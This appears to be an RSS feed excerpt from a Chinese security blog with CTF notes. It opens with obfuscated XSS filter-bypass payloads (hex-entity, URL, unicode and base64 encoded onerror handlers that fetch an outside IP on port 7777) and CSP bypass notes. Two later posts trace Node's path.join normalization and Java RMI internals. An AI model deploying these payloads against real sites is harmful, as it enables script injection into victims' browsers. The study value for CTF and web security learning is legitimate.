&amp;lt;img src=1 onerror=&quot;&amp;amp;#x6a;&amp;amp;#x61;&amp;amp;#x76;&amp;amp;#x61;&amp;amp;#x73;&amp;amp;#x63;&amp;amp;#x72;&amp;amp;#x69;&amp;amp;#x70;&amp;amp;#x74;&amp;amp;#x3a;&amp;amp;#x66;&amp;amp;#x65;&amp;amp;#x74;&amp;amp;#x63;&amp;amp;#x68;&amp;amp;#x28;&amp;amp;#x22;&amp;amp;#x68;&amp;amp;#x74;&amp;amp;#x74;&amp;amp;#x70;&amp;amp;#x3a;&amp;amp;#x2f;&amp;amp;#x2f;&amp;amp;#x34;&amp;amp;#x37;&amp;amp;#x2e;&amp;amp;#x31;&amp;amp;#x32;&amp;amp;#x32;&amp;amp;#x2e;&amp;amp;#x36;&amp;amp;#x34;&amp;amp;#x2e;&amp;amp;#x31;&amp;amp;#x35;&amp;amp;#x39;&amp;amp;#x3a;&amp;amp;#x37;&amp;amp;#x37;&amp;amp;#x37;&amp;amp;#x37;&amp;amp;#x22;&amp;amp;#x29;&quot;&amp;gt;

javascript:fetch(&quot;http://47.122.64.159:7777&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;url&lt;/code&gt; 编码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;x&quot; onerror=&quot;eval(unescape(&apos;%6a%61%76%61%73%63%72%69%70%74%3a%66%65%74%63%68%28%22%68%74%74%70%3a%2f%2f%34%37%2e%31%32%32%2e%36%34%2e%31%35%39%3a%37%37%37%37%22%29&apos;))&quot;&amp;gt;

javascript:fetch(&quot;http://47.122.64.159:7777&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;unicode&lt;/code&gt; 编码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=x onerror=&quot;\u0061\u006c\u0065\u0072\u0074(1)&quot;&amp;gt;

&amp;lt;img src=x onerror=&quot;\u0066\u0065\u0074\u0063\u0068(&apos;http://47.122.64.159:7777&apos;)&quot;&amp;gt;

&amp;lt;img src=x onerror=&quot;\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074:\u0066\u0065\u0074\u0063\u0068(&apos;http://47.122.64.159:7777&apos;)&quot;&amp;gt;

&amp;lt;!--
alert(1)
fetch
javascript fetch  
用于关键字编码--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;base64&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;object data=&quot;data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=&quot;&amp;gt;&amp;lt;/object&amp;gt;

&amp;lt;object data=&quot;data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPSJcdTAwNjZcdTAwNjVcdTAwNzRcdTAwNjNcdTAwNjgoJ2h0dHA6Ly80Ny4xMjIuNjQuMTU5Ojc3NzcnKSI+&quot;&amp;gt;&amp;lt;/object&amp;gt;

&amp;lt;!-- 
&amp;lt;script&amp;gt;alert(/xss/)&amp;lt;/script&amp;gt;

只是会解析b64数据，不能执行代码，需要类似 &amp;lt;script&amp;gt; 功能的标签或者 提供一个&amp;lt;img src=1 onerror=&quot;evil code&quot;&amp;gt;

&amp;lt;img src=x onerror=&quot;\u0066\u0065\u0074\u0063\u0068(&apos;http://47.122.64.159:7777&apos;)&quot;&amp;gt;
--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;空格绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**/
/
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;单双引号绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;onerror=fetch(``) &amp;lt;!-- 可以不加引号在 onerror 处。 --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;CSP&lt;/h4&gt;
&lt;p&gt;找什么地方没有引用&lt;code&gt;csp&lt;/code&gt;，使用跳转，在那个页面进行 xss 。&lt;code&gt;2025 crewctf&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;httponly&lt;/h4&gt;
&lt;p&gt;三明治携带，&lt;code&gt;2025 n1jctf&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;csp 属性注入&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;2025 RCTF&lt;/code&gt; meta 标签的 content 属性值,没有引号包裹，造成的 csp 注入。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;author&quot; content=&amp;lt;?php echo $pageAuthor; ?&amp;gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&apos;[csp属性]&apos; http-equiv=Content-Security-Policy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;感觉 link meta iframe 用的好像多一点？&lt;/p&gt;
&lt;p&gt;参考文章如下&lt;/p&gt;
</content:encoded></item><item><title>js.path.join()</title><link>https://fuwari.vercel.app/posts/post2-pathjoin%E5%A4%84%E7%90%86/path-join/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post2-pathjoin%E5%A4%84%E7%90%86/path-join/</guid><description>debug path.join()</description><pubDate>Mon, 08 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h4&gt;path.join()&lt;/h4&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const path = require(&apos;path&apos;);

const STATIC_DIR = path.join(&quot;/app&quot;,&quot;/app1/app2/&quot;)

console.log(STATIC_DIR);

const filePath = path.join(STATIC_DIR, &quot;app.ejs/.&quot;);

console.log(filePath);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跟进到 &lt;code&gt;join()&lt;/code&gt; ,输入的参数是一个数组&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[
  &quot;/app/app1/app2/&quot;,
  &quot;app.ejs/.&quot;,
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是 &lt;code&gt;join()&lt;/code&gt; 的实现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;join(...args) {
    // 先判断数组长度是否为0 直接返回 
if (args.length === 0)
  return &apos;.&apos;;
	// 写一个空数组
const path = [];
    // 对传入的参数进行逐步解析
for (let i = 0; i &amp;lt; args.length; ++i) {
  const arg = args[i];
    
  validateString(arg, &apos;path&apos;);
  if (arg.length &amp;gt; 0) {
    path.push(arg);
  }
}

if (path.length === 0)
  return &apos;.&apos;;

return posix.normalize(ArrayPrototypeJoin(path, &apos;/&apos;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;走到&lt;code&gt; validateString() ，&lt;/code&gt;跟进后跳转到这&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251014200024177.jpeg&quot; alt=&quot;image-20251014200024177&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这我没搞懂，应该是一个简单判断，继续走就是判断传入的 arg 是不是字符串&lt;/p&gt;
&lt;p&gt;第二轮&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251014200523470.jpeg&quot; alt=&quot;image-20251014200523470&quot; /&gt;走到这个地方,可以看到&lt;code&gt; arg = &quot;app.ejs/.&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第二轮进行完，得到 &lt;code&gt;path&lt;/code&gt; 数组&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[
  &quot;/app/app1/app2/&quot;,
  &quot;app.ejs/.&quot;,
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键部分&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    return posix.normalize(ArrayPrototypeJoin(path, &apos;/&apos;));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跟进后发现&lt;code&gt;path&lt;/code&gt; 变成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;/app/app1/app2//app.ejs/.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可能是&lt;code&gt;ArrayPrototypeJoin(path, &apos;/&apos;) &lt;/code&gt;的处理，不知道怎么会多一个 /&lt;/p&gt;
&lt;p&gt;下面是 &lt;code&gt;normalize()&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;normalize(path) {
validateString(path, &apos;path&apos;);

if (path.length === 0)
  return &apos;.&apos;;
    // 绝对路径 true
const isAbsolute =
  StringPrototypeCharCodeAt(path, 0) === CHAR_FORWARD_SLASH;
    // 判断末尾是不是有分隔符 / false
const trailingSeparator =
  StringPrototypeCharCodeAt(path, path.length - 1) === CHAR_FORWARD_SLASH;

// Normalize the path
path = normalizeString(path, !isAbsolute, &apos;/&apos;, isPosixPathSeparator);

if (path.length === 0) {
  if (isAbsolute)
    return &apos;/&apos;;
  return trailingSeparator ? &apos;./&apos; : &apos;.&apos;;
}
if (trailingSeparator)
  path += &apos;/&apos;;

return isAbsolute ? `/${path}` : path;
},
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;function normalizeString(path, allowAboveRoot, separator, isPathSeparator) {
let res = &apos;&apos;;
let lastSegmentLength = 0;
let lastSlash = -1;
let dots = 0;
let code = 0;
    
for (let i = 0; i &amp;lt;= path.length; ++i) {
if (i &amp;lt; path.length)
  code = StringPrototypeCharCodeAt(path, i);
else if (isPathSeparator(code))
  break;
else
  code = CHAR_FORWARD_SLASH;

if (isPathSeparator(code)) {
    
  if (lastSlash === i - 1 || dots === 1) {
    // NOOP
  } 
  else if (dots === 2) {
    if (res.length &amp;lt; 2 || lastSegmentLength !== 2 ||
        StringPrototypeCharCodeAt(res, res.length - 1) !== CHAR_DOT ||
        StringPrototypeCharCodeAt(res, res.length - 2) !== CHAR_DOT) {
      if (res.length &amp;gt; 2) {
        const lastSlashIndex = res.length - lastSegmentLength - 1;
        if (lastSlashIndex === -1) {
          res = &apos;&apos;;
          lastSegmentLength = 0;
        } else {
          res = StringPrototypeSlice(res, 0, lastSlashIndex);
          lastSegmentLength =
            res.length - 1 - StringPrototypeLastIndexOf(res, separator);
        }
        lastSlash = i;
        dots = 0;
        continue;
      } 
      else if (res.length !== 0) {
        res = &apos;&apos;;
        lastSegmentLength = 0;
        lastSlash = i;
        dots = 0;
        continue;
      }
    }
    if (allowAboveRoot) {
      res += res.length &amp;gt; 0 ? `${separator}..` : &apos;..&apos;;
      lastSegmentLength = 2;
    }
  } 
  else {
    if (res.length &amp;gt; 0)
      res += `${separator}${StringPrototypeSlice(path, lastSlash + 1, i)}`;
    else
      res = StringPrototypeSlice(path, lastSlash + 1, i);
    lastSegmentLength = i - lastSlash - 1;
  }
  lastSlash = i;
  dots = 0;
} 
  else if (code === CHAR_DOT &amp;amp;&amp;amp; dots !== -1) {
  	++dots;
} 
  else {
  	dots = -1;
}
}
return res;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主要是下面那个循环处理，如果连续遇到两个 //&lt;/p&gt;
&lt;p&gt;比如，&lt;code&gt;app/app1//app2/1.txt &lt;/code&gt;有如下处理&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (lastSlash === i - 1 || dots === 1) 
//直接跳出整个判断处理，然后
lastSlash = i;
dots = 0;
//点数重置，上一个分隔符的位置更新，所以字符串切片拼接路径时，不会导致连续两个分隔符出现。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字符串切片有两种情况,&lt;/p&gt;
&lt;p&gt;一种是如果没有积累 &lt;code&gt;res&lt;/code&gt; ，刚开头就直接从上一个分隔符的后一位开始，一直到分隔符前的都切片拼接到&lt;code&gt;res&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/app/app1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;进行到第二个&lt;code&gt;/ &lt;/code&gt;的时候把&lt;code&gt; app&lt;/code&gt; 拼接到&lt;code&gt; res&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (res.length &amp;gt; 0)
  res += `${separator}${StringPrototypeSlice(path, lastSlash + 1, i)}`;
else
  res = StringPrototypeSlice(path, lastSlash + 1, i);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对点的处理，如果分隔符后第一位不是点，赋值 &lt;code&gt;dots = -1&lt;/code&gt;，应该是按照文件的后缀&lt;code&gt;.&lt;/code&gt;来处理的，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; else if (code === CHAR_DOT &amp;amp;&amp;amp; dots !== -1) {
      ++dots;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;否则当成&lt;code&gt;. ..&lt;/code&gt;来处理&lt;/p&gt;
&lt;p&gt;最后，到最后一位字符时，因为&lt;code&gt;i &amp;gt;= path.length&lt;/code&gt;会进入&lt;code&gt;else&lt;/code&gt;分支&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (i &amp;lt; path.length)
  code = StringPrototypeCharCodeAt(path, i);
else if (isPathSeparator(code))
  break;
else
  code = CHAR_FORWARD_SLASH;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后因为 &lt;code&gt;code&lt;/code&gt; = 分隔符的 &lt;code&gt;ascii&lt;/code&gt;，重置 &lt;code&gt;lashslash dots&lt;/code&gt; ，自此 &lt;code&gt;for &lt;/code&gt;循环结束，会发现是没有把最后的 &lt;code&gt;/.&lt;/code&gt;拼接到 &lt;code&gt;res&lt;/code&gt; 的，所以走出来的 &lt;code&gt;res&lt;/code&gt; 就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;res = &quot;app/app1/app2//app.ejs&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回到 &lt;code&gt;normalize()&lt;/code&gt; 函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;path = normalizeString(path, !isAbsolute, &apos;/&apos;, isPosixPathSeparator);

if (path.length === 0) {
  if (isAbsolute)
    return &apos;/&apos;;
  return trailingSeparator ? &apos;./&apos; : &apos;.&apos;;
}
if (trailingSeparator)
  path += &apos;/&apos;;

return isAbsolute ? `/${path}` : path;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，因为&lt;code&gt;isAbsolute trailingSeparator&lt;/code&gt;前面已经判断好了， &lt;code&gt;true false&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; path = &quot;app/app1/app2/app.ejs&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接返回&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;`/${path}`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即返回 &lt;code&gt;/app/app1/app2/app.ejs&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/app/a.ejs/&lt;/code&gt; 不会被处理成 &lt;code&gt;/app/a.ejs &lt;/code&gt; 因为 normalizing() 处理前判断了最后一位是不是分隔符，如果 true ，normalizing() 处理完不带的最后一位分隔符会在这加上。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (trailingSeparator)
path += &apos;/&apos;;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>java_RMI</title><link>https://fuwari.vercel.app/posts/post8-rmi/javarmi/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post8-rmi/javarmi/</guid><description>java</description><pubDate>Sat, 29 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;1. java--------------------------RMI&lt;/h3&gt;
&lt;h4&gt;1----------创建远程服务 （无漏洞存在）&lt;/h4&gt;
&lt;p&gt;这一步，先去看 &lt;code&gt;remoteObj&lt;/code&gt; 是如何被注册到 &lt;code&gt;locateRegistry&lt;/code&gt;  的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj{
    public RemoteObjImpl() throws RemoteException {
        super();
    }
        @Override
    public String sayHello(String keywords){
        String upKeywords = keywords.toUpperCase();
        System.out.println(upKeywords);
        return upKeywords;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;public class RMIServer {
    public static  void main(String[] args) throws RemoteException, AlreadyBoundException {
        RemoteObj remoteObj = new RemoteObjImpl(); // 下断点
        Registry registry = LocateRegistry.createRegistry(10777);
        registry.bind(&quot;remoteObj&quot;,remoteObj);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114161419179.png&quot; alt=&quot;image-20251114161419179&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
调试进入 `exportObject` 方法，（下文有跟进 exportObject 的发布逻辑）该方法指定发布的 IP 与 port， 其中 TCPEndpoint 拿到一个 TCPTransport 对象，并在里面启动一个监听线程监听该地址，并建立远程对象的唯一  ObjID(rmi协议通信会携带 objid 一个端口会绑定很多远程对象)，和 ObjID → Target（impl）的映射表 ObjectTable。
*/
/*
当客户端拿到 stub 之后，调用某个远程方法，是通过 stub 中记录的 该远程方法所处的地址去连接，此时远程服务端读出其中的RMI序列化数据，ObjId，找到target，继而找到相应的实现类impl，最后执行方法。
*/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有两个参数，第一个为 obj 对象，第二个为 port 参数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static Remote exportObject(Remote obj, int port)
    throws RemoteException
{
    return exportObject(obj, new UnicastServerRef(port));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对第二个参数进行 &lt;code&gt;new UnicastServerRef(port)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114161756530.png&quot; alt=&quot;image-20251114161756530&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对 &lt;code&gt;port&lt;/code&gt;  参数进行 &lt;code&gt;new LiveRef(port)&lt;/code&gt;，跟进发现是一个构造函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114161937035.png&quot; alt=&quot;image-20251114161937035&quot; /&gt;&lt;/p&gt;
&lt;p&gt;跟进 &lt;code&gt;this&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114162014144.png&quot; alt=&quot;image-20251114162014144&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先看这个 &lt;code&gt;this&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114162309214.png&quot; alt=&quot;image-20251114162309214&quot; /&gt;&lt;/p&gt;
&lt;p&gt;赋值操作&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114162515231.png&quot; alt=&quot;image-20251114162515231&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114162817242.png&quot; alt=&quot;image-20251114162817242&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里成功构建了 LiveRef ，其中包含远程对象的信息。&lt;/p&gt;
&lt;p&gt;回到上面，也就是对第二个参数 port 进行 &lt;code&gt;TCPEndpoint.getLocalEndpoint(var2)&lt;/code&gt; 的地方，跟进&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/image-20251114162141206.png&quot; alt=&quot;image-20251114162141206&quot; /&gt;&lt;/p&gt;
&lt;p&gt;突然发现多出来一个 45537 端口，由于不知道是什么地方产生的，就一步步回退，直到一开始调用 &lt;code&gt;LiveRef()&lt;/code&gt;  的地方。 solve (传 0 代表随机端口)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114163458153.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入 super()&lt;/p&gt;
&lt;p&gt;&lt;code&gt;UnicastServerRef&lt;/code&gt; 继承 &lt;code&gt;UnicastRef&lt;/code&gt; ,其中 &lt;code&gt;UnicastRef&lt;/code&gt; 类负责 RMI 远程调用的实现，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114163938578.png&quot; alt=&quot;image-20251114163938578&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将上文的 &lt;code&gt;LiveRef&lt;/code&gt; 赋值给 &lt;code&gt;ref&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;2----------创建 stub&lt;/h4&gt;
&lt;p&gt;服务端创建一个 Stub，然后将 Stub 传到 RMI Registry ，最后让 RMI Client 去获取 Stub。&lt;/p&gt;
&lt;p&gt;跟进 stub 产生的过程&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114164620733.png&quot; alt=&quot;image-20251114164620733&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入 &lt;code&gt;createProxy&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114165055296.png&quot; alt=&quot;image-20251114165055296&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;getRemoteClass()&lt;/code&gt; 就是用来从实现类中提取这些远程接口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (var2 || !ignoreStubClasses &amp;amp;&amp;amp; stubClassExists(var3)) {
    return createStub(var3, var1);
// 进入了下面的 else 分支
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114165353244.png&quot; alt=&quot;image-20251114165353244&quot; /&gt;&lt;/p&gt;
&lt;p&gt;有一个类加载的地方&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Proxy.newProxyInstance&lt;/code&gt; ，&lt;code&gt;Stub&lt;/code&gt; 动态代理类的创建，客户端在 registry 获取 stub 后，可以通过stub 这个本地代理去调用远程对象方法。&lt;/p&gt;
&lt;p&gt;在往下面走，发现 &lt;code&gt;exportObject(var6)&lt;/code&gt; &lt;code&gt;exportObject&lt;/code&gt; 将远程服务发布到网络上，于是去看 var6 是什么&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114171109016.png&quot; alt=&quot;image-20251114171109016&quot; /&gt;&lt;/p&gt;
&lt;p&gt;跟进 &lt;code&gt;Target()&lt;/code&gt;   RMI 服务端导出的 Remote 对象，包含该对象在服务器端被调用所需要的全部信息。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public Target(Remote var1, Dispatcher var2, Remote var3, ObjID var4, boolean var5) {
    this.weakImpl = new WeakRef(var1, ObjectTable.reapQueue);
    this.disp = var2;
    this.stub = var3;
    this.id = var4;
    this.acc = AccessController.getContext();
    ClassLoader var6 = Thread.currentThread().getContextClassLoader();
    ClassLoader var7 = var1.getClass().getClassLoader();
    if (checkLoaderAncestry(var6, var7)) {
        this.ccl = var6;
    } else {
        this.ccl = var7;
    }

    this.permanent = var5;
    if (var5) {
        this.pinImpl();
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 Target 持有 impl 的 &lt;strong&gt;弱引用&lt;/strong&gt;（WeakRef） 其实这里是 远程对象的实现类&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;this.weakImpl = new WeakRef(var1, ObjectTable.reapQueue);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来跟进 &lt;code&gt;exportObject()&lt;/code&gt;  看看发布逻辑是什么&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114173928262.png&quot; alt=&quot;image-20251114173928262&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ep&lt;/code&gt; 包含 &lt;code&gt;host ip port&lt;/code&gt; 等重要信息，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114174107869.png&quot; alt=&quot;image-20251114174107869&quot; /&gt;&lt;/p&gt;
&lt;p&gt;跟进 &lt;code&gt;transport.exportObject&lt;/code&gt;  &lt;code&gt;var1&lt;/code&gt;就是要发布的对象&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public void exportObject(Target var1) throws RemoteException {
    synchronized(this) {
        this.listen(); //下断点跟进
        ++this.exportCount;
    }

    boolean var2 = false;
    boolean var12 = false;

    try {
        var12 = true;
        super.exportObject(var1);
        var2 = true;
        var12 = false;
    } finally {
        if (var12) {
            if (!var2) {
                synchronized(this) {
                    this.decrementExportCount();
                }
            }

        }
    }

    if (!var2) {
        synchronized(this) {
            this.decrementExportCount();
        }
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跟进 listen&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20251114181839533.png&quot; alt=&quot;image-20251114181839533&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先是&lt;/p&gt;
&lt;p&gt;所以，&lt;code&gt;exportObject(var6)&lt;/code&gt; 就是把 &lt;code&gt;target&lt;/code&gt; 这个封装好了的对象发布到本地,把这个 &lt;code&gt;Target&lt;/code&gt; 放进 ObjId --&amp;gt; Target（impl）的映射表。&lt;/p&gt;
&lt;p&gt;客户端通过调用从 &lt;code&gt;registry&lt;/code&gt; 获取的&lt;code&gt;stub&lt;/code&gt;的方法，将 &lt;code&gt;ObjID&lt;/code&gt; + 方法号 + 参数发送到服务端 → 服务端根据 &lt;code&gt;ObjID&lt;/code&gt; 找到 &lt;code&gt;Target → Dispatcher&lt;/code&gt; 调用 &lt;code&gt;impl&lt;/code&gt;的真实方法 → 将结果返回客户端。&lt;/p&gt;
&lt;h4&gt;3----------创建注册中心&lt;/h4&gt;
&lt;p&gt;调用链：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LocateRegistry.createRegistry(port) --&amp;gt; RegistryImpl(port) 
--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-20251125164015376.png&quot; alt=&quot;image-20251125164015376&quot; /&gt;&lt;/p&gt;
&lt;p&gt;......&lt;/p&gt;
&lt;h4&gt;4----------客户端请求注册中心&lt;/h4&gt;
&lt;h5&gt;查找远程对象&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251125191950937.png&quot; alt=&quot;image-20251125191950937&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用 &lt;code&gt;LiveRef&lt;/code&gt; ，&lt;strong&gt;构造一个真正可用的远程引用实现类&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;getRegistry&lt;/code&gt; 本质上是在造一个指向 Registry 的 stub， 即 RegistryImpl_stub ，其内部的 UnicastRef 记录了远程注册中心的 LiveRef 。&lt;/p&gt;
&lt;p&gt;RegistryImpl_stub 可调用以下方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251125195046726.png&quot; alt=&quot;image-20251125195046726&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251125195142113.png&quot; alt=&quot;image-20251125195142113&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里就是调用了其中的 lookup 方法。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251125200928209.png&quot; alt=&quot;image-20251125200928209&quot; /&gt;&lt;/p&gt;
&lt;p&gt;RegistryImpl_stub 的 super 为 RemoteStub ,RemoteStub.ref  为 UnicastRef 。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;invoke()&lt;/code&gt; --&amp;gt;&lt;code&gt;call.executeCall()&lt;/code&gt; --&amp;gt; &lt;code&gt;out.getDGCAckHandler() &lt;/code&gt; --&amp;gt;  &lt;code&gt;out.getDGCAckHandler()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在处理异常的时候会反序列化注册中心返回的数据 (有利用的可能)&lt;/p&gt;
&lt;p&gt;其中的 newcall&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251126143138045.png&quot; alt=&quot;image-20251126143138045&quot; /&gt;&lt;/p&gt;
&lt;p&gt;调用 UnicastRef.invoker(var2) 其中 var2 是 创建 socket 连接；创建一个 &lt;code&gt;StreamRemoteCall&lt;/code&gt;，写入 RMI 协议头（魔数、版本、ObjID、opnum/hash 等）；把这个 call 返回，给 stub 用来写参数,&lt;/p&gt;
&lt;p&gt;最后整个 lookup 返回的是一些服务器 &lt;code&gt;RegistryImpl.lookup&lt;/code&gt; 从内部表里取出的当年 &lt;code&gt;bind&lt;/code&gt; 进去的 &lt;strong&gt;stub 对象&lt;/strong&gt;；&lt;/p&gt;
&lt;p&gt;把这个 stub 通过 RMI 再序列化给客户端，客户端在 &lt;code&gt;readObject()&lt;/code&gt; 这里反序列化，得到一个 &lt;strong&gt;本地的 stub 副本&lt;/strong&gt;：&lt;code&gt;Proxy[RemoteObj,RemoteObjectInvocationHandler[UnicastRef [liveRef: [endpoint:[127.0.1.1:42463](remote),objID:[-28a1eac6:19abebdf695:-7fff, 6347128007969007382]]]]]&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;5----------客户端请求服务端&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;remoteObj.sayHello(&quot;Hello world&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打断点进去&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251126140147644.png&quot; alt=&quot;image-20251126140147644&quot; /&gt;&lt;/p&gt;
&lt;p&gt;突然觉得动态代理不是很熟悉，下面暂时转到 InvocationHandler 接口,只写了一个 invoke 方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public interface InvocationHandler {
    public Object invoke(Object proxy, Method method, Object[] args)
        throws Throwable;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回归上文，&lt;img src=&quot;./image-20251126145318546.png&quot; alt=&quot;image-20251126145318546&quot; /&gt;&lt;/p&gt;
